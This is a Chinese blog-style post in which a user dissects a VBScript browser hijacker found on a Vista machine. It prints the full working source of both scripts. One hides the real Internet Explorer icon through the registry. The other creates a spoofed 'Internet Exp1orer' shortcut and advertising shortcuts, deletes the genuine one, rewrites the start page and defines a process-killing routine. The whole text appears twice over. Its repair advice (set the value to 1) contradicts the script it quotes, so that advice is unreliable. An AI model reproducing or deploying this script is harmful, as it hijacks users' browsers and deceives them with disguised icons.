神马文学网脚本病毒_kusirp21
来源：百度文库 编辑：神马文学网 时间：2024/04/28 16:07:14
我是vista的操作系统,一直以来都使用的是睡眠,今天一重启机器,呵,发现问题了!
主页被无缘的篡改！桌面上无缘地多出四个图标分别是Internet Exp1orer,千千体育直播，淘宝网网今日打折特价区，超级好玩的小游戏。别以为那个internet Exp1orer是正常的，这里面是一个1，不是L！晕，这也就是说真正的Internet Explorer在桌面上被隐藏掉了！主页还被改成www.556dh.cn，OH，shit!
这种情况下，病毒一直没有启动，直到我重启机器才发现，所以这个病毒一定与开机启动有关！很容易让我找到了它的启动地址，原来在我的文档下边的一个启动菜单中，英文名称是startMenu，找到一个QQ图像的快捷方式，直接指向了它的启动文件，病毒就在system32下，有一个是1.vbs，别一个是2.vbs，SHIT！隐藏真够社会工程学的，稍不注意还以为是一个QQ文件的启动呢！真的，写脚本的大哥你就不知道，我不喜欢开机运行QQ吗？再者，你在脚本中运行一下QQ也行啊，要不然，丫的，QQ没有启动却在启动其单中有一个QQ的启动快捷方式！你真TDM不够聪明！
1.vbs
Set WshShell = WScript.CreateObject("WScript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”
Rem
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}"
RegPath1="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}"
Type_Name="REG_DWORD"
Key_Data=1
WshShell.RegWrite RegPath,Key_Data,Type_Name
WshShell.RegWrite RegPath1,Key_Data,Type_Name
Dim WSHShell, strDesktop
Set WSHShell = WScript.CreateObject("WScript.Shell")
strDesktop = WSHShell.SpecialFolders("Desktop")
WSHShell.AppActivate strDesktop
WSHShell.SendKeys "{F5}"
标准的wscript.shell写法！晕！
2.vbs
Set WshShell = WScript.CreateObject("WScript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”
Rem
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\Internet Exp1orer.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.556dh.cn/?xdn2" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\千千体育直播.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.77zb.com/?desk" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.IconLocation = "%SystemRoot%\system32\77zb.ico, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\淘宝网今日打折特价区.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.223224.com/taobao/?desk" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.IconLocation = "%SystemRoot%\system32\taobao.ico, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\超级好玩小游戏.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.45575.com/?desk" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.IconLocation = "%SystemRoot%\system32\game.ico, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oShellLink = WshShell.CreateShortcut(Favorites & "\千千体育直播.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.77zb.com/?fav" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.Hotkey = "" : '快捷键
oShellLink.IconLocation = "%SystemRoot%\system32\77zb.ico, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oShellLink = WshShell.CreateShortcut(Favorites & "\九品高清网络电视.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.9ptv.com/?fav" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.Hotkey = "" : '快捷键
oShellLink.IconLocation = "%SystemRoot%\system32\9ptv.ico, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\淘宝网 - 淘！我喜欢.url")
oUrlLink.TargetPath = "http://www.77zb.com/taobao/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\易趣网 - 品质网购，乐在易趣.url")
oUrlLink.TargetPath = "http://www.82vv.com/yq/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\当当网 – 全球最大的中文网上书店&购物中心.url")
oUrlLink.TargetPath = "http://www.82vv.com/dd/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\卓越亚马逊网上购物图书，手机，数码，家电，化妆品，钟表，首饰等在线销售.url")
oUrlLink.TargetPath = "http://www.82vv.com/zy/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\看看电视剧，最新最好的绿色免费电视剧网站.url")
oUrlLink.TargetPath = "http://www.kkdsj.com/?fav"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\45575在线小游戏，最好玩最快的小游戏.url")
oUrlLink.TargetPath = "http://www.45575.com/?fav"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\最新绿色免费电影！高速高清！天天更新！！！.url")
oUrlLink.TargetPath = "http://www.kusila.com/?fav"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\极品清纯美女写真！！艺术人生.url")
oUrlLink.TargetPath = "http://www.ysr3.com/?fav"
oUrlLink.Save
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\启动 Internet Explorer 浏览器.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.556dh.cn/?xdn2" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink1.Hotkey = "" : '快捷键
oShellLink1.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式
Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(strDesktop & "\Internet Explorer.lnk")) Then
Set delf= fso.GetFile(strDesktop & "\Internet Explorer.lnk")
delf.Delete
End If
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\超级好玩小游戏.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.45575.com/?desk" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink1.IconLocation = "%SystemRoot%\system32\game.ico, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\淘宝网今日打折特价区.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.223224.com/taobao/?desk" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink1.IconLocation = "%SystemRoot%\system32\taobao.ico, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\千千体育直播.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.77zb.com/?desk" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink1.IconLocation = "%SystemRoot%\system32\77zb.ico, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式
Sub ProcessKiller(ProcessName)
On Error Resume Next
Dim WMI,objProcess,Process
Dim MsgStr
Dim isKilled
isKilled=False
Set WMI=GetObject("WinMgmts:")
Set Process=WMI.InstancesOf("Win32_Process")
For Each objProcess In Process
If InStr(ProcessName,".")>0 Then
If objProcess.name=ProcessName Then
objProcess.Terminate
End If
Else
If InStr(objProcess.ExecutablePath,ProcessName)>0 Then
objProcess.Terminate
End If
End If
If Err Then Err.Clear
Next
Set Process=Nothing
Set WMI=Nothing
End Sub
set objShell = WScript.CreateObject("WScript.Shell")
strDesktop = objShell.SpecialFolders.Item("Desktop")
'
strQuickLaunch = objShell.SpecialFolders.Item("AppData") & "\Microsoft\Internet Explorer\Quick Launch"
'
set objLink = objShell.CreateShortcut(strDesktop & "\Internet Exp1orer.lnk")
set objqLink = objShell.CreateShortcut(strQuickLaunch & "\启动 Internet Explorer 浏览器.lnk")
objqLink.TargetPath = "C:\Program Files\Internet Explorer\iexplore.exe"
objLink.TargetPath = "C:\Program Files\Internet Explorer\iexplore.exe"
objLink.Arguments = "http://www.556dh.cn/?xdn2"
objqLink.Arguments = "http://www.556dh.cn/?xdn2"
'
objLink.Save
objqLink.Save
'
'=========
dim oshell,fso,hostname
set oshell=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
HOSTNAME=oshell.RegRead ("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName" )
oshell.regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\start page","http://www.556dh.cn/?xdn2"
wscript.quit
增加快捷方式的地儿就在在这里了！
从1.vbs可以知道，它对我的注册表动了手脚的！这个手脚就在于它将所有用户中的IE给隐藏了，如果你在桌面上有IE的图标找不到时可以根据1.vbs中指示的路径将其值改为1即可！
从2.vbs中我们可以知道，它增加的所有的快捷方式，9ptv是一个电影网，搞不好是这个网站会可能有一个播放器的，而这个播放器的安装中安装了这个文件，这是黄色网站惯用的手法，不过先声明一点，我的电脑还有别人在用，这根本不是我安装的。我从不下载这类似的玩意！
找来找去，SHIT，安装文件竞然在我的system32文件夹中，日期指示是我出差的那一天！我晕！看来给电脑换个密码不再让别人用了！
再看2.vbs中还有一个事件的定义？！遍历了我所有的进程？！奶 奶的，这玩意真是让我无语！等等，在哪儿调用了这个过程呢？它没有调用？它在kill我什么进程，杀毒软件还是什么？介来什么却没有调用呢？在其他地方调用了？这证明真还有其他的文件在执行些这些东西的！
注意的是，杀毒时将快捷启动栏等什么地方加过的都要去掉才行！
主页被无缘的篡改！桌面上无缘地多出四个图标分别是Internet Exp1orer,千千体育直播，淘宝网网今日打折特价区，超级好玩的小游戏。别以为那个internet Exp1orer是正常的，这里面是一个1，不是L！晕，这也就是说真正的Internet Explorer在桌面上被隐藏掉了！主页还被改成www.556dh.cn，OH，shit!
这种情况下，病毒一直没有启动，直到我重启机器才发现，所以这个病毒一定与开机启动有关！很容易让我找到了它的启动地址，原来在我的文档下边的一个启动菜单中，英文名称是startMenu，找到一个QQ图像的快捷方式，直接指向了它的启动文件，病毒就在system32下，有一个是1.vbs，别一个是2.vbs，SHIT！隐藏真够社会工程学的，稍不注意还以为是一个QQ文件的启动呢！真的，写脚本的大哥你就不知道，我不喜欢开机运行QQ吗？再者，你在脚本中运行一下QQ也行啊，要不然，丫的，QQ没有启动却在启动其单中有一个QQ的启动快捷方式！你真TDM不够聪明！
1.vbs
Set WshShell = WScript.CreateObject("WScript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”
Rem
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}"
RegPath1="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}"
Type_Name="REG_DWORD"
Key_Data=1
WshShell.RegWrite RegPath,Key_Data,Type_Name
WshShell.RegWrite RegPath1,Key_Data,Type_Name
Dim WSHShell, strDesktop
Set WSHShell = WScript.CreateObject("WScript.Shell")
strDesktop = WSHShell.SpecialFolders("Desktop")
WSHShell.AppActivate strDesktop
WSHShell.SendKeys "{F5}"
标准的wscript.shell写法！晕！
2.vbs
Set WshShell = WScript.CreateObject("WScript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”
Rem
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\Internet Exp1orer.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.556dh.cn/?xdn2" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\千千体育直播.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.77zb.com/?desk" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.IconLocation = "%SystemRoot%\system32\77zb.ico, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\淘宝网今日打折特价区.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.223224.com/taobao/?desk" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.IconLocation = "%SystemRoot%\system32\taobao.ico, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\超级好玩小游戏.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.45575.com/?desk" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.IconLocation = "%SystemRoot%\system32\game.ico, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oShellLink = WshShell.CreateShortcut(Favorites & "\千千体育直播.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.77zb.com/?fav" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.Hotkey = "" : '快捷键
oShellLink.IconLocation = "%SystemRoot%\system32\77zb.ico, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oShellLink = WshShell.CreateShortcut(Favorites & "\九品高清网络电视.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.9ptv.com/?fav" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.Hotkey = "" : '快捷键
oShellLink.IconLocation = "%SystemRoot%\system32\9ptv.ico, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\淘宝网 - 淘！我喜欢.url")
oUrlLink.TargetPath = "http://www.77zb.com/taobao/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\易趣网 - 品质网购，乐在易趣.url")
oUrlLink.TargetPath = "http://www.82vv.com/yq/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\当当网 – 全球最大的中文网上书店&购物中心.url")
oUrlLink.TargetPath = "http://www.82vv.com/dd/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\卓越亚马逊网上购物图书，手机，数码，家电，化妆品，钟表，首饰等在线销售.url")
oUrlLink.TargetPath = "http://www.82vv.com/zy/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\看看电视剧，最新最好的绿色免费电视剧网站.url")
oUrlLink.TargetPath = "http://www.kkdsj.com/?fav"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\45575在线小游戏，最好玩最快的小游戏.url")
oUrlLink.TargetPath = "http://www.45575.com/?fav"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\最新绿色免费电影！高速高清！天天更新！！！.url")
oUrlLink.TargetPath = "http://www.kusila.com/?fav"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\极品清纯美女写真！！艺术人生.url")
oUrlLink.TargetPath = "http://www.ysr3.com/?fav"
oUrlLink.Save
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\启动 Internet Explorer 浏览器.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.556dh.cn/?xdn2" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink1.Hotkey = "" : '快捷键
oShellLink1.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式
Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(strDesktop & "\Internet Explorer.lnk")) Then
Set delf= fso.GetFile(strDesktop & "\Internet Explorer.lnk")
delf.Delete
End If
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\超级好玩小游戏.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.45575.com/?desk" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink1.IconLocation = "%SystemRoot%\system32\game.ico, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\淘宝网今日打折特价区.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.223224.com/taobao/?desk" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink1.IconLocation = "%SystemRoot%\system32\taobao.ico, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\千千体育直播.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.77zb.com/?desk" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink1.IconLocation = "%SystemRoot%\system32\77zb.ico, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式
Sub ProcessKiller(ProcessName)
On Error Resume Next
Dim WMI,objProcess,Process
Dim MsgStr
Dim isKilled
isKilled=False
Set WMI=GetObject("WinMgmts:")
Set Process=WMI.InstancesOf("Win32_Process")
For Each objProcess In Process
If InStr(ProcessName,".")>0 Then
If objProcess.name=ProcessName Then
objProcess.Terminate
End If
Else
If InStr(objProcess.ExecutablePath,ProcessName)>0 Then
objProcess.Terminate
End If
End If
If Err Then Err.Clear
Next
Set Process=Nothing
Set WMI=Nothing
End Sub
set objShell = WScript.CreateObject("WScript.Shell")
strDesktop = objShell.SpecialFolders.Item("Desktop")
'
strQuickLaunch = objShell.SpecialFolders.Item("AppData") & "\Microsoft\Internet Explorer\Quick Launch"
'
set objLink = objShell.CreateShortcut(strDesktop & "\Internet Exp1orer.lnk")
set objqLink = objShell.CreateShortcut(strQuickLaunch & "\启动 Internet Explorer 浏览器.lnk")
objqLink.TargetPath = "C:\Program Files\Internet Explorer\iexplore.exe"
objLink.TargetPath = "C:\Program Files\Internet Explorer\iexplore.exe"
objLink.Arguments = "http://www.556dh.cn/?xdn2"
objqLink.Arguments = "http://www.556dh.cn/?xdn2"
'
objLink.Save
objqLink.Save
'
'=========
dim oshell,fso,hostname
set oshell=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
HOSTNAME=oshell.RegRead ("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName" )
oshell.regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\start page","http://www.556dh.cn/?xdn2"
wscript.quit
增加快捷方式的地儿就在在这里了！
从1.vbs可以知道，它对我的注册表动了手脚的！这个手脚就在于它将所有用户中的IE给隐藏了，如果你在桌面上有IE的图标找不到时可以根据1.vbs中指示的路径将其值改为1即可！
从2.vbs中我们可以知道，它增加的所有的快捷方式，9ptv是一个电影网，搞不好是这个网站会可能有一个播放器的，而这个播放器的安装中安装了这个文件，这是黄色网站惯用的手法，不过先声明一点，我的电脑还有别人在用，这根本不是我安装的。我从不下载这类似的玩意！
找来找去，SHIT，安装文件竞然在我的system32文件夹中，日期指示是我出差的那一天！我晕！看来给电脑换个密码不再让别人用了！
再看2.vbs中还有一个事件的定义？！遍历了我所有的进程？！奶 奶的，这玩意真是让我无语！等等，在哪儿调用了这个过程呢？它没有调用？它在kill我什么进程，杀毒软件还是什么？介来什么却没有调用呢？在其他地方调用了？这证明真还有其他的文件在执行些这些东西的！
注意的是，杀毒时将快捷启动栏等什么地方加过的都要去掉才行！